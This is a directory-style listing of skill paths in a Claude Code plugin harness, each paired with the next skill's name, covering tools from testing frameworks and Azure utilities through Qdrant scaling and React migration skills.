harness/claude-code/plugins/testing-automation/skills/java-junit - javascript-typescript-jest
harness/claude-code/plugins/testing-automation/skills/javascript-typescript-jest - pester-migration
harness/claude-code/plugins/testing-automation/skills/pester-migration - pester-should-migration
harness/claude-code/plugins/testing-automation/skills/pester-should-migration - playwright-automation-fill-in-form
harness/claude-code/plugins/testing-automation/skills/playwright-automation-fill-in-form - playwright-explore-website
harness/claude-code/plugins/testing-automation/skills/playwright-explore-website - playwright-generate-test
harness/claude-code/plugins/testing-automation/skills/playwright-generate-test - pytest-coverage
harness/claude-code/plugins/testing-automation/skills/pytest-coverage - scoutqa-test
harness/claude-code/plugins/testing-automation/skills/scoutqa-test - unit-test-vue-pinia
harness/claude-code/plugins/testing-automation/skills/unit-test-vue-pinia - webapp-testing
harness/claude-code/plugins/testing-automation/skills/webapp-testing - javascript-typescript-jest
harness/claude-code/plugins/testing-frameworks/skills/javascript-typescript-jest - pester-migration
harness/claude-code/plugins/testing-frameworks/skills/pester-migration - pester-should-migration
harness/claude-code/plugins/testing-frameworks/skills/pester-should-migration - pytest-coverage
harness/claude-code/plugins/testing-frameworks/skills/pytest-coverage - scoutqa-test
harness/claude-code/plugins/testing-frameworks/skills/scoutqa-test - unit-test-vue-pinia
harness/claude-code/plugins/testing-frameworks/skills/unit-test-vue-pinia - bench-read
harness/claude-code/plugins/the-workshop/skills/bench-read - desk-journal
harness/claude-code/plugins/the-workshop/skills/desk-journal - desk-open
harness/claude-code/plugins/the-workshop/skills/desk-open - signal-write
harness/claude-code/plugins/the-workshop/skills/signal-write - workshop-create
harness/claude-code/plugins/the-workshop/skills/workshop-create - typescript-mcp-server-generator
harness/claude-code/plugins/typescript-mcp-development/skills/typescript-mcp-server-generator - typespec-api-operations
harness/claude-code/plugins/typespec-m365-copilot/skills/typespec-api-operations - typespec-create-agent
harness/claude-code/plugins/typespec-m365-copilot/skills/typespec-create-agent - typespec-create-api-plugin
harness/claude-code/plugins/typespec-m365-copilot/skills/typespec-create-api-plugin - anti-ui-slop
harness/claude-code/plugins/uizze/skills/anti-ui-slop - canvas-design
harness/claude-code/plugins/ux-design-tooling/skills/canvas-design - penpot-uiux-design
harness/claude-code/plugins/ux-design-tooling/skills/penpot-uiux-design - image-annotations
harness/claude-code/plugins/visual-pr/skills/image-annotations - pr-screenshots
harness/claude-code/plugins/visual-pr/skills/pr-screenshots - screen-recording
harness/claude-code/plugins/visual-pr/skills/screen-recording - ui-screenshots
harness/claude-code/plugins/visual-pr/skills/ui-screenshots - chrome-devtools
harness/claude-code/plugins/web-framework-development/skills/chrome-devtools - gsap-framer-scroll-animation
harness/claude-code/plugins/web-framework-development/skills/gsap-framer-scroll-animation - markstream-install
harness/claude-code/plugins/web-framework-development/skills/markstream-install - next-intl-add-language
harness/claude-code/plugins/web-framework-development/skills/next-intl-add-language - react-container-presentation-component
harness/claude-code/plugins/web-framework-development/skills/react-container-presentation-component - acquire-codebase-knowledge
harness/claude-code/skills/acquire-codebase-knowledge - acreadiness-assess
harness/claude-code/skills/acreadiness-assess - acreadiness-generate-instructions
harness/claude-code/skills/acreadiness-generate-instructions - acreadiness-policy
harness/claude-code/skills/acreadiness-policy - ad-campaign-analyzer
harness/claude-code/skills/ad-campaign-analyzer - adabas-postgresql-migration
harness/claude-code/skills/adabas-postgresql-migration - add-educational-comments
harness/claude-code/skills/add-educational-comments - adobe-illustrator-scripting
harness/claude-code/skills/adobe-illustrator-scripting - agent-governance
harness/claude-code/skills/agent-governance - agent-owasp-compliance
harness/claude-code/skills/agent-owasp-compliance - agent-skill-stack
harness/claude-code/skills/agent-skill-stack - agent-supply-chain
harness/claude-code/skills/agent-supply-chain - agentic-eval
harness/claude-code/skills/agentic-eval - ai-prompt-engineering-safety-review
harness/claude-code/skills/ai-prompt-engineering-safety-review - ai-ready
harness/claude-code/skills/ai-ready - ai-team-orchestration
harness/claude-code/skills/ai-team-orchestration - anti-ui-slop
harness/claude-code/skills/anti-ui-slop - api-testing
harness/claude-code/skills/api-testing - apim-ai-gateway
harness/claude-code/skills/apim-ai-gateway - appinsights-instrumentation
harness/claude-code/skills/appinsights-instrumentation - apple-appstore-reviewer
harness/claude-code/skills/apple-appstore-reviewer - arch-linux-triage
harness/claude-code/skills/arch-linux-triage - architecture-blueprint-generator
harness/claude-code/skills/architecture-blueprint-generator - arduino-azure-iot-edge-integration
harness/claude-code/skills/arduino-azure-iot-edge-integration - arize-ai-provider-integration
harness/claude-code/skills/arize-ai-provider-integration - arize-annotation
harness/claude-code/skills/arize-annotation - arize-dataset
harness/claude-code/skills/arize-dataset - arize-evaluator
harness/claude-code/skills/arize-evaluator - arize-experiment
harness/claude-code/skills/arize-experiment - arize-instrumentation
harness/claude-code/skills/arize-instrumentation - arize-link
harness/claude-code/skills/arize-link - arize-prompt-optimization
harness/claude-code/skills/arize-prompt-optimization - arize-trace
harness/claude-code/skills/arize-trace - aspire
harness/claude-code/skills/aspire - aspnet-minimal-api-openapi
harness/claude-code/skills/aspnet-minimal-api-openapi - audit-integrity
harness/claude-code/skills/audit-integrity - automate-this
harness/claude-code/skills/automate-this - autoresearch
harness/claude-code/skills/autoresearch - aws-cdk-python-setup
harness/claude-code/skills/aws-cdk-python-setup - aws-cloudwatch-investigation
harness/claude-code/skills/aws-cloudwatch-investigation - aws-cost-optimize
harness/claude-code/skills/aws-cost-optimize - aws-resource-health-diagnose
harness/claude-code/skills/aws-resource-health-diagnose - aws-resource-query
harness/claude-code/skills/aws-resource-query - aws-well-architected-review
harness/claude-code/skills/aws-well-architected-review - az-cost-optimize
harness/claude-code/skills/az-cost-optimize - azure-agentic-architecture-patterns
harness/claude-code/skills/azure-agentic-architecture-patterns - azure-ai
harness/claude-code/skills/azure-ai - azure-airunway-aks-setup
harness/claude-code/skills/azure-airunway-aks-setup - azure-api-center
harness/claude-code/skills/azure-api-center - azure-app-onboard
harness/claude-code/skills/azure-app-onboard - azure-app-onboard-prereq
harness/claude-code/skills/azure-app-onboard-prereq - azure-architecture-autopilot
harness/claude-code/skills/azure-architecture-autopilot - azure-argocd-cli
harness/claude-code/skills/azure-argocd-cli - azure-cli
harness/claude-code/skills/azure-cli - azure-cloud-migrate
harness/claude-code/skills/azure-cloud-migrate - azure-compliance
harness/claude-code/skills/azure-compliance - azure-compute
harness/claude-code/skills/azure-compute - azure-container-registry-cli
harness/claude-code/skills/azure-container-registry-cli - azure-cost
harness/claude-code/skills/azure-cost - azure-deploy
harness/claude-code/skills/azure-deploy - azure-deployment-preflight
harness/claude-code/skills/azure-deployment-preflight - azure-developer-cli
harness/claude-code/skills/azure-developer-cli - azure-devops-cli
harness/claude-code/skills/azure-devops-cli - azure-diagnostics
harness/claude-code/skills/azure-diagnostics - azure-draw-io-diagram-generator
harness/claude-code/skills/azure-draw-io-diagram-generator - azure-enterprise-infra-planner
harness/claude-code/skills/azure-enterprise-infra-planner - azure-entra-agent-id
harness/claude-code/skills/azure-entra-agent-id - azure-entra-app-registration
harness/claude-code/skills/azure-entra-app-registration - azure-helm-cli
harness/claude-code/skills/azure-helm-cli - azure-infrastructure
harness/claude-code/skills/azure-infrastructure - azure-kubectl-cli
harness/claude-code/skills/azure-kubectl-cli - azure-kubernetes
harness/claude-code/skills/azure-kubernetes - azure-kubernetes-app-deploy
harness/claude-code/skills/azure-kubernetes-app-deploy - azure-kubernetes-automatic-readiness
harness/claude-code/skills/azure-kubernetes-automatic-readiness - azure-kusto
harness/claude-code/skills/azure-kusto - azure-kusto-graph
harness/claude-code/skills/azure-kusto-graph - azure-kusto-irql
harness/claude-code/skills/azure-kusto-irql - azure-kusto-irql-graph
harness/claude-code/skills/azure-kusto-irql-graph - azure-managed-redis-cache
harness/claude-code/skills/azure-managed-redis-cache - azure-messaging
harness/claude-code/skills/azure-messaging - azure-observability-stack
harness/claude-code/skills/azure-observability-stack - azure-postgre-database-management
harness/claude-code/skills/azure-postgre-database-management - azure-prepare
harness/claude-code/skills/azure-prepare - azure-pricing
harness/claude-code/skills/azure-pricing - azure-quotas
harness/claude-code/skills/azure-quotas - azure-reliability
harness/claude-code/skills/azure-reliability - azure-resource-health-diagnose
harness/claude-code/skills/azure-resource-health-diagnose - azure-resource-lookup
harness/claude-code/skills/azure-resource-lookup - azure-resource-visualizer
harness/claude-code/skills/azure-resource-visualizer - azure-role-selector
harness/claude-code/skills/azure-role-selector - azure-scaffold-wizard
harness/claude-code/skills/azure-scaffold-wizard - azure-smart-city-iot-solution-builder
harness/claude-code/skills/azure-smart-city-iot-solution-builder - azure-static-web-apps
harness/claude-code/skills/azure-static-web-apps - azure-storage
harness/claude-code/skills/azure-storage - azure-terraform-cli
harness/claude-code/skills/azure-terraform-cli - azure-terraform-terratest-module-testing
harness/claude-code/skills/azure-terraform-terratest-module-testing - azure-upgrade
harness/claude-code/skills/azure-upgrade - azure-validate
harness/claude-code/skills/azure-validate - azure-well-architected-review
harness/claude-code/skills/azure-well-architected-review - backstage-plugin-builder
harness/claude-code/skills/backstage-plugin-builder - batch-files
harness/claude-code/skills/batch-files - bench-read
harness/claude-code/skills/bench-read - bigquery-pipeline-audit
harness/claude-code/skills/bigquery-pipeline-audit - boost-prompt
harness/claude-code/skills/boost-prompt - brag-sheet
harness/claude-code/skills/brag-sheet - breakdown-epic-arch
harness/claude-code/skills/breakdown-epic-arch - breakdown-epic-pm
harness/claude-code/skills/breakdown-epic-pm - breakdown-feature-implementation
harness/claude-code/skills/breakdown-feature-implementation - breakdown-feature-prd
harness/claude-code/skills/breakdown-feature-prd - breakdown-plan
harness/claude-code/skills/breakdown-plan - breakdown-test
harness/claude-code/skills/breakdown-test - bug-receipt
harness/claude-code/skills/bug-receipt - bug-reproduction-brief
harness/claude-code/skills/bug-reproduction-brief - build-evidence-map
harness/claude-code/skills/build-evidence-map - canvas-design
harness/claude-code/skills/canvas-design - centos-linux-triage
harness/claude-code/skills/centos-linux-triage - chaos-engineering
harness/claude-code/skills/chaos-engineering - chrome-devtools
harness/claude-code/skills/chrome-devtools - cli-mastery
harness/claude-code/skills/cli-mastery - cloud-design-patterns
harness/claude-code/skills/cloud-design-patterns - cobol-db2-analysis
harness/claude-code/skills/cobol-db2-analysis - code-exemplars-blueprint-generator
harness/claude-code/skills/code-exemplars-blueprint-generator - code-modernization
harness/claude-code/skills/code-modernization - code-tour
harness/claude-code/skills/code-tour - codebase-memory-mcp
harness/claude-code/skills/codebase-memory-mcp - codeql
harness/claude-code/skills/codeql - comment-code-generate-a-tutorial
harness/claude-code/skills/comment-code-generate-a-tutorial - commit-message-storyteller
harness/claude-code/skills/commit-message-storyteller - competitor-ad-intelligence
harness/claude-code/skills/competitor-ad-intelligence - containerize-aspnet-framework
harness/claude-code/skills/containerize-aspnet-framework - containerize-aspnetcore
harness/claude-code/skills/containerize-aspnetcore - content-management-systems
harness/claude-code/skills/content-management-systems - context-map
harness/claude-code/skills/context-map - contract-testing
harness/claude-code/skills/contract-testing - conventional-branch
harness/claude-code/skills/conventional-branch - convert-excel-to-md
harness/claude-code/skills/convert-excel-to-md - convert-pdf-to-md
harness/claude-code/skills/convert-pdf-to-md - convert-plaintext-to-md
harness/claude-code/skills/convert-plaintext-to-md - convert-word-to-md
harness/claude-code/skills/convert-word-to-md - copilot-cli-quickstart
harness/claude-code/skills/copilot-cli-quickstart - copilot-instructions-blueprint-generator
harness/claude-code/skills/copilot-instructions-blueprint-generator - copilot-plugin-authoring
harness/claude-code/skills/copilot-plugin-authoring - copilot-pr-autopilot
harness/claude-code/skills/copilot-pr-autopilot - copilot-primitive-authoring
harness/claude-code/skills/copilot-primitive-authoring - copilot-sdk
harness/claude-code/skills/copilot-sdk - copilot-spaces
harness/claude-code/skills/copilot-spaces - copilot-usage-metrics
harness/claude-code/skills/copilot-usage-metrics - cosmosdb-datamodeling
harness/claude-code/skills/cosmosdb-datamodeling - create-agentsmd
harness/claude-code/skills/create-agentsmd - create-architectural-decision-record
harness/claude-code/skills/create-architectural-decision-record - create-github-action-workflow-specification
harness/claude-code/skills/create-github-action-workflow-specification - create-github-issue-feature-from-specification
harness/claude-code/skills/create-github-issue-feature-from-specification - create-github-issues-feature-from-implementation-plan
harness/claude-code/skills/create-github-issues-feature-from-implementation-plan - create-github-issues-for-unmet-specification-requirements
harness/claude-code/skills/create-github-issues-for-unmet-specification-requirements - create-implementation-plan
harness/claude-code/skills/create-implementation-plan - create-llms
harness/claude-code/skills/create-llms - create-readme
harness/claude-code/skills/create-readme - create-specification
harness/claude-code/skills/create-specification - create-spring-boot-java-project
harness/claude-code/skills/create-spring-boot-java-project - create-spring-boot-kotlin-project
harness/claude-code/skills/create-spring-boot-kotlin-project - create-technical-spike
harness/claude-code/skills/create-technical-spike - create-tldr-page
harness/claude-code/skills/create-tldr-page - creating-oracle-to-postgres-master-migration-plan
harness/claude-code/skills/creating-oracle-to-postgres-master-migration-plan - creating-oracle-to-postgres-migration-bug-report
harness/claude-code/skills/creating-oracle-to-postgres-migration-bug-report - creating-oracle-to-postgres-migration-integration-tests
harness/claude-code/skills/creating-oracle-to-postgres-migration-integration-tests - csharp-async
harness/claude-code/skills/csharp-async - csharp-docs
harness/claude-code/skills/csharp-docs - csharp-mstest
harness/claude-code/skills/csharp-mstest - csharp-nunit
harness/claude-code/skills/csharp-nunit - csharp-tunit
harness/claude-code/skills/csharp-tunit - csharp-xunit
harness/claude-code/skills/csharp-xunit - daily-focus-board
harness/claude-code/skills/daily-focus-board - daily-prep
harness/claude-code/skills/daily-prep - data-breach-blast-radius
harness/claude-code/skills/data-breach-blast-radius - datanalysis-credit-risk
harness/claude-code/skills/datanalysis-credit-risk - dataverse-python-advanced-patterns
harness/claude-code/skills/dataverse-python-advanced-patterns - dataverse-python-production-code
harness/claude-code/skills/dataverse-python-production-code - dataverse-python-quickstart
harness/claude-code/skills/dataverse-python-quickstart - dataverse-python-usecase-builder
harness/claude-code/skills/dataverse-python-usecase-builder - db2-postgresql-migration
harness/claude-code/skills/db2-postgresql-migration - debian-linux-triage
harness/claude-code/skills/debian-linux-triage - declarative-agents
harness/claude-code/skills/declarative-agents - dependabot
harness/claude-code/skills/dependabot - desk-journal
harness/claude-code/skills/desk-journal - desk-open
harness/claude-code/skills/desk-open - devops-rollout-plan
harness/claude-code/skills/devops-rollout-plan - diagnose
harness/claude-code/skills/diagnose - doc-and-modernize
harness/claude-code/skills/doc-and-modernize - documentation-writer
harness/claude-code/skills/documentation-writer - dotnet-best-practices
harness/claude-code/skills/dotnet-best-practices - dotnet-design-pattern-review
harness/claude-code/skills/dotnet-design-pattern-review - dotnet-linux-modernization
harness/claude-code/skills/dotnet-linux-modernization - dotnet-mcp-builder
harness/claude-code/skills/dotnet-mcp-builder - dotnet-modernization-assessment
harness/claude-code/skills/dotnet-modernization-assessment - dotnet-timezone
harness/claude-code/skills/dotnet-timezone - dotnet-upgrade
harness/claude-code/skills/dotnet-upgrade - dotnet-windows-appservice
harness/claude-code/skills/dotnet-windows-appservice - doublecheck
harness/claude-code/skills/doublecheck - draw-io-diagram-generator
harness/claude-code/skills/draw-io-diagram-generator - drawio
harness/claude-code/skills/drawio - editorconfig
harness/claude-code/skills/editorconfig - ef-core
harness/claude-code/skills/ef-core - efcore-d2-db-diagram
harness/claude-code/skills/efcore-d2-db-diagram - em-dash
harness/claude-code/skills/em-dash - email-drafter
harness/claude-code/skills/email-drafter - entra-agent-user
harness/claude-code/skills/entra-agent-user - eval-driven-dev
harness/claude-code/skills/eval-driven-dev - exam-ready
harness/claude-code/skills/exam-ready - excalidraw-diagram-generator
harness/claude-code/skills/excalidraw-diagram-generator - eyeball
harness/claude-code/skills/eyeball - fabric-lakehouse
harness/claude-code/skills/fabric-lakehouse - fedora-linux-triage
harness/claude-code/skills/fedora-linux-triage - finalize-agent-prompt
harness/claude-code/skills/finalize-agent-prompt - finnish-humanizer
harness/claude-code/skills/finnish-humanizer - first-ask
harness/claude-code/skills/first-ask - flowstudio-power-automate-build
harness/claude-code/skills/flowstudio-power-automate-build - flowstudio-power-automate-debug
harness/claude-code/skills/flowstudio-power-automate-debug - flowstudio-power-automate-governance
harness/claude-code/skills/flowstudio-power-automate-governance - flowstudio-power-automate-mcp
harness/claude-code/skills/flowstudio-power-automate-mcp - flowstudio-power-automate-monitoring
harness/claude-code/skills/flowstudio-power-automate-monitoring - fluentui-blazor
harness/claude-code/skills/fluentui-blazor - folder-structure-blueprint-generator
harness/claude-code/skills/folder-structure-blueprint-generator - foundry-agent-sync
harness/claude-code/skills/foundry-agent-sync - foundry-hosted-agent-copilotkit
harness/claude-code/skills/foundry-hosted-agent-copilotkit - freecad-scripts
harness/claude-code/skills/freecad-scripts - from-the-other-side-anitta
harness/claude-code/skills/from-the-other-side-anitta - from-the-other-side-quinn
harness/claude-code/skills/from-the-other-side-quinn - from-the-other-side-vega
harness/claude-code/skills/from-the-other-side-vega - from-the-other-side-wiggins
harness/claude-code/skills/from-the-other-side-wiggins - frontend-accessibility
harness/claude-code/skills/frontend-accessibility - frontend-backend-integration
harness/claude-code/skills/frontend-backend-integration - frontend-component-testing
harness/claude-code/skills/frontend-component-testing - frontend-conversational-ui
harness/claude-code/skills/frontend-conversational-ui - frontend-dashboard-visualization
harness/claude-code/skills/frontend-dashboard-visualization - frontend-discoverability-assets
harness/claude-code/skills/frontend-discoverability-assets - frontend-experience-core
harness/claude-code/skills/frontend-experience-core - frontend-form-interactions
harness/claude-code/skills/frontend-form-interactions - frontend-mobile-desktop-testing
harness/claude-code/skills/frontend-mobile-desktop-testing - frontend-project-setup
harness/claude-code/skills/frontend-project-setup - frontend-release-quality-gate
harness/claude-code/skills/frontend-release-quality-gate - frontend-requirements-and-stories
harness/claude-code/skills/frontend-requirements-and-stories - frontend-responsive-adaptation
harness/claude-code/skills/frontend-responsive-adaptation - frontend-test-strategy
harness/claude-code/skills/frontend-test-strategy - frontend-visual-e2e-testing
harness/claude-code/skills/frontend-visual-e2e-testing - frontend-visual-system
harness/claude-code/skills/frontend-visual-system - game-engine
harness/claude-code/skills/game-engine - gdpr-compliant
harness/claude-code/skills/gdpr-compliant - gen-specs-as-issues
harness/claude-code/skills/gen-specs-as-issues - generate-custom-instructions-from-codebase
harness/claude-code/skills/generate-custom-instructions-from-codebase - generate-image
harness/claude-code/skills/generate-image - geofeed-tuner
harness/claude-code/skills/geofeed-tuner - gh-attach
harness/claude-code/skills/gh-attach - git-commit
harness/claude-code/skills/git-commit - git-flow-branch-creator
harness/claude-code/skills/git-flow-branch-creator - github-actions-efficiency
harness/claude-code/skills/github-actions-efficiency - github-actions-hardening
harness/claude-code/skills/github-actions-hardening - github-actions-runtime-upgrade-conventions
harness/claude-code/skills/github-actions-runtime-upgrade-conventions - github-codespaces-efficiency
harness/claude-code/skills/github-codespaces-efficiency - github-copilot-starter
harness/claude-code/skills/github-copilot-starter - github-issues
harness/claude-code/skills/github-issues - github-release
harness/claude-code/skills/github-release - gitmoji
harness/claude-code/skills/gitmoji - go-mcp-server-generator
harness/claude-code/skills/go-mcp-server-generator - gsap-framer-scroll-animation
harness/claude-code/skills/gsap-framer-scroll-animation - gtm-0-to-1-launch
harness/claude-code/skills/gtm-0-to-1-launch - gtm-ai-gtm
harness/claude-code/skills/gtm-ai-gtm - gtm-board-and-investor-communication
harness/claude-code/skills/gtm-board-and-investor-communication - gtm-developer-ecosystem
harness/claude-code/skills/gtm-developer-ecosystem - gtm-enterprise-account-planning
harness/claude-code/skills/gtm-enterprise-account-planning - gtm-enterprise-onboarding
harness/claude-code/skills/gtm-enterprise-onboarding - gtm-operating-cadence
harness/claude-code/skills/gtm-operating-cadence - gtm-partnership-architecture
harness/claude-code/skills/gtm-partnership-architecture - gtm-positioning-strategy
harness/claude-code/skills/gtm-positioning-strategy - gtm-product-led-growth
harness/claude-code/skills/gtm-product-led-growth - gtm-technical-product-pricing
harness/claude-code/skills/gtm-technical-product-pricing - harness-engineering
harness/claude-code/skills/harness-engineering - image-annotations
harness/claude-code/skills/image-annotations - image-manipulation-image-magick
harness/claude-code/skills/image-manipulation-image-magick - impediment-prioritization
harness/claude-code/skills/impediment-prioritization - import-infrastructure-as-code
harness/claude-code/skills/import-infrastructure-as-code - incident-postmortem
harness/claude-code/skills/incident-postmortem - integrate-context-matic
harness/claude-code/skills/integrate-context-matic - issue-fields-migration
harness/claude-code/skills/issue-fields-migration - java-add-graalvm-native-image-support
harness/claude-code/skills/java-add-graalvm-native-image-support - java-docs
harness/claude-code/skills/java-docs - java-helidon
harness/claude-code/skills/java-helidon - java-junit
harness/claude-code/skills/java-junit - java-mcp-server-generator
harness/claude-code/skills/java-mcp-server-generator - java-refactoring-extract-method
harness/claude-code/skills/java-refactoring-extract-method - java-refactoring-remove-parameter
harness/claude-code/skills/java-refactoring-remove-parameter - java-springboot
harness/claude-code/skills/java-springboot - javascript-typescript-jest
harness/claude-code/skills/javascript-typescript-jest - javax-to-jakarta-migration
harness/claude-code/skills/javax-to-jakarta-migration - kotlin-mcp-server-generator
harness/claude-code/skills/kotlin-mcp-server-generator - kotlin-springboot
harness/claude-code/skills/kotlin-springboot - landing-page-conversion-audit
harness/claude-code/skills/landing-page-conversion-audit - latchshot-page-capture
harness/claude-code/skills/latchshot-page-capture - legacy-business-rule-extraction
harness/claude-code/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/claude-code/skills/legacy-characterization-testing - legacy-circuit-mockups
harness/claude-code/skills/legacy-circuit-mockups - linkedin-post-formatter
harness/claude-code/skills/linkedin-post-formatter - load-performance-testing
harness/claude-code/skills/load-performance-testing - lsp-setup
harness/claude-code/skills/lsp-setup - make-repo-contribution
harness/claude-code/skills/make-repo-contribution - markdown-to-html
harness/claude-code/skills/markdown-to-html - markstream-install
harness/claude-code/skills/markstream-install - mcp-builder
harness/claude-code/skills/mcp-builder - mcp-cli
harness/claude-code/skills/mcp-cli - mcp-copilot-studio-server-generator
harness/claude-code/skills/mcp-copilot-studio-server-generator - mcp-create-adaptive-cards
harness/claude-code/skills/mcp-create-adaptive-cards - mcp-create-declarative-agent
harness/claude-code/skills/mcp-create-declarative-agent - mcp-deploy-manage-agents
harness/claude-code/skills/mcp-deploy-manage-agents - mcp-implementation-security-review
harness/claude-code/skills/mcp-implementation-security-review - mcp-release-qa
harness/claude-code/skills/mcp-release-qa - mcp-security-audit
harness/claude-code/skills/mcp-security-audit - md-to-docx
harness/claude-code/skills/md-to-docx - meeting-minutes
harness/claude-code/skills/meeting-minutes - memory-merger
harness/claude-code/skills/memory-merger - mentoring-juniors
harness/claude-code/skills/mentoring-juniors - microsoft-agent-framework
harness/claude-code/skills/microsoft-agent-framework - microsoft-code-reference
harness/claude-code/skills/microsoft-code-reference - microsoft-docs
harness/claude-code/skills/microsoft-docs - microsoft-skill-creator
harness/claude-code/skills/microsoft-skill-creator - migrating-oracle-to-postgres-data-access-code
harness/claude-code/skills/migrating-oracle-to-postgres-data-access-code - migrating-oracle-to-postgres-stored-procedures
harness/claude-code/skills/migrating-oracle-to-postgres-stored-procedures - minecraft-plugin-development
harness/claude-code/skills/minecraft-plugin-development - mini-context-graph
harness/claude-code/skills/mini-context-graph - mkdocs-translations
harness/claude-code/skills/mkdocs-translations - modernization-workspace-kit
harness/claude-code/skills/modernization-workspace-kit - msgraph-sdk
harness/claude-code/skills/msgraph-sdk - msstore-cli
harness/claude-code/skills/msstore-cli - multi-stage-dockerfile
harness/claude-code/skills/multi-stage-dockerfile - mutation-testing
harness/claude-code/skills/mutation-testing - mvvm-toolkit
harness/claude-code/skills/mvvm-toolkit - mvvm-toolkit-di
harness/claude-code/skills/mvvm-toolkit-di - mvvm-toolkit-messenger
harness/claude-code/skills/mvvm-toolkit-messenger - namecheap
harness/claude-code/skills/namecheap - nano-banana-pro-openrouter
harness/claude-code/skills/nano-banana-pro-openrouter - napkin
harness/claude-code/skills/napkin - natural-adabas-analysis
harness/claude-code/skills/natural-adabas-analysis - next-intl-add-language
harness/claude-code/skills/next-intl-add-language - noob-mode
harness/claude-code/skills/noob-mode - nuget-manager
harness/claude-code/skills/nuget-manager - onboard-context-matic
harness/claude-code/skills/onboard-context-matic - oo-component-documentation
harness/claude-code/skills/oo-component-documentation - openapi-to-application-code
harness/claude-code/skills/openapi-to-application-code - optimize-simplicite-logs
harness/claude-code/skills/optimize-simplicite-logs - pcf-development
harness/claude-code/skills/pcf-development - pdftk-server
harness/claude-code/skills/pdftk-server - penpot-uiux-design
harness/claude-code/skills/penpot-uiux-design - performance-review-writer
harness/claude-code/skills/performance-review-writer - pester-migration
harness/claude-code/skills/pester-migration - pester-should-migration
harness/claude-code/skills/pester-should-migration - phoenix-cli
harness/claude-code/skills/phoenix-cli - phoenix-evals
harness/claude-code/skills/phoenix-evals - phoenix-tracing
harness/claude-code/skills/phoenix-tracing - php-mcp-server-generator
harness/claude-code/skills/php-mcp-server-generator - pinecone-rag
harness/claude-code/skills/pinecone-rag - planning-oracle-to-postgres-migration-integration-testing
harness/claude-code/skills/planning-oracle-to-postgres-migration-integration-testing - plantuml-ascii
harness/claude-code/skills/plantuml-ascii - playwright-automation-fill-in-form
harness/claude-code/skills/playwright-automation-fill-in-form - playwright-explore-website
harness/claude-code/skills/playwright-explore-website - playwright-generate-test
harness/claude-code/skills/playwright-generate-test - postgresql-code-review
harness/claude-code/skills/postgresql-code-review - postgresql-optimization
harness/claude-code/skills/postgresql-optimization - power-apps-code-app-scaffold
harness/claude-code/skills/power-apps-code-app-scaffold - power-bi-dax-optimization
harness/claude-code/skills/power-bi-dax-optimization - power-bi-model-design-review
harness/claude-code/skills/power-bi-model-design-review - power-bi-performance-troubleshooting
harness/claude-code/skills/power-bi-performance-troubleshooting - power-bi-report-design-consultation
harness/claude-code/skills/power-bi-report-design-consultation - power-platform-architect
harness/claude-code/skills/power-platform-architect - power-platform-mcp-connector-suite
harness/claude-code/skills/power-platform-mcp-connector-suite - powerbi-modeling
harness/claude-code/skills/powerbi-modeling - pr-dashboard
harness/claude-code/skills/pr-dashboard - pr-screenshots
harness/claude-code/skills/pr-screenshots - prd
harness/claude-code/skills/prd - premium-frontend-ui
harness/claude-code/skills/premium-frontend-ui - project-workflow-analysis-blueprint-generator
harness/claude-code/skills/project-workflow-analysis-blueprint-generator - prompt-optimizer
harness/claude-code/skills/prompt-optimizer - publish-to-pages
harness/claude-code/skills/publish-to-pages - pytest-coverage
harness/claude-code/skills/pytest-coverage - python-azure-iot-edge-modules
harness/claude-code/skills/python-azure-iot-edge-modules - python-mcp-server-generator
harness/claude-code/skills/python-mcp-server-generator - python-pypi-package-builder
harness/claude-code/skills/python-pypi-package-builder - qdrant-clients-sdk
harness/claude-code/skills/qdrant-clients-sdk - qdrant-deployment-options
harness/claude-code/skills/qdrant-deployment-options - qdrant-model-migration
harness/claude-code/skills/qdrant-model-migration - qdrant-monitoring
harness/claude-code/skills/qdrant-monitoring - qdrant-monitoring-debugging
harness/claude-code/skills/qdrant-monitoring/debugging - qdrant-monitoring-setup
harness/claude-code/skills/qdrant-monitoring/setup - qdrant-performance-optimization
harness/claude-code/skills/qdrant-performance-optimization - qdrant-indexing-performance-optimization
harness/claude-code/skills/qdrant-performance-optimization/indexing-performance-optimization - qdrant-memory-usage-optimization
harness/claude-code/skills/qdrant-performance-optimization/memory-usage-optimization - qdrant-search-speed-optimization
harness/claude-code/skills/qdrant-performance-optimization/search-speed-optimization - qdrant-scaling
harness/claude-code/skills/qdrant-scaling - qdrant-minimize-latency
harness/claude-code/skills/qdrant-scaling/minimize-latency - qdrant-scaling-data-volume
harness/claude-code/skills/qdrant-scaling/scaling-data-volume - qdrant-horizontal-scaling
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling - qdrant-sliding-time-window
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/sliding-time-window - qdrant-tenant-scaling
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/tenant-scaling - qdrant-vertical-scaling
harness/claude-code/skills/qdrant-scaling/scaling-data-volume/vertical-scaling - qdrant-scaling-qps
harness/claude-code/skills/qdrant-scaling/scaling-qps - qdrant-scaling-query-volume
harness/claude-code/skills/qdrant-scaling/scaling-query-volume - qdrant-search-quality
harness/claude-code/skills/qdrant-search-quality - qdrant-search-quality-diagnosis
harness/claude-code/skills/qdrant-search-quality/diagnosis - qdrant-search-strategies
harness/claude-code/skills/qdrant-search-quality/search-strategies - qdrant-version-upgrade
harness/claude-code/skills/qdrant-version-upgrade - quality-playbook
harness/claude-code/skills/quality-playbook - quasi-coder
harness/claude-code/skills/quasi-coder - react-audit-grep-patterns
harness/claude-code/skills/react-audit-grep-patterns - react-container-presentation-component
harness/claude-code/skills/react-container-presentation-component - react18-batching-patterns
harness/claude-code/skills/react18-batching-patterns - react18-dep-compatibility
harness/claude-code/skills/react18-dep-compatibility - react18-enzyme-to-rtl
harness/claude-code/skills/react18-enzyme-to-rtl - react18-legacy-context
harness/claude-code/skills/react18-legacy-context - react18-lifecycle-patterns
harness/claude-code/skills/react18-lifecycle-patterns - react18-string-refs
harness/claude-code/skills/react18-string-refs - react19-concurrent-patterns
harness/claude-code/skills/react19-concurrent-patterns - react19-source-patterns
harness/claude-code/skills/react19-source-patterns - react19-test-patterns
harness/claude-code/skills/react19-test-patterns - readme-blueprint-generator
harness/claude-code/skills/readme-blueprint-generator - refactor
harness/claude-code/skills/refactor - refactor-method-complexity-reduce
harness/claude-code/skills/refactor-method-complexity-reduce - refactor-plan
harness/claude-code/skills/refactor-plan - remember
harness/claude-code/skills/remember - remember-interactive-programming
harness/claude-code/skills/remember-interactive-programming - repo-story-time
harness/claude-code/skills/repo-story-time - resemble-detect
harness/claude-code/skills/resemble-detect - review-and-refactor
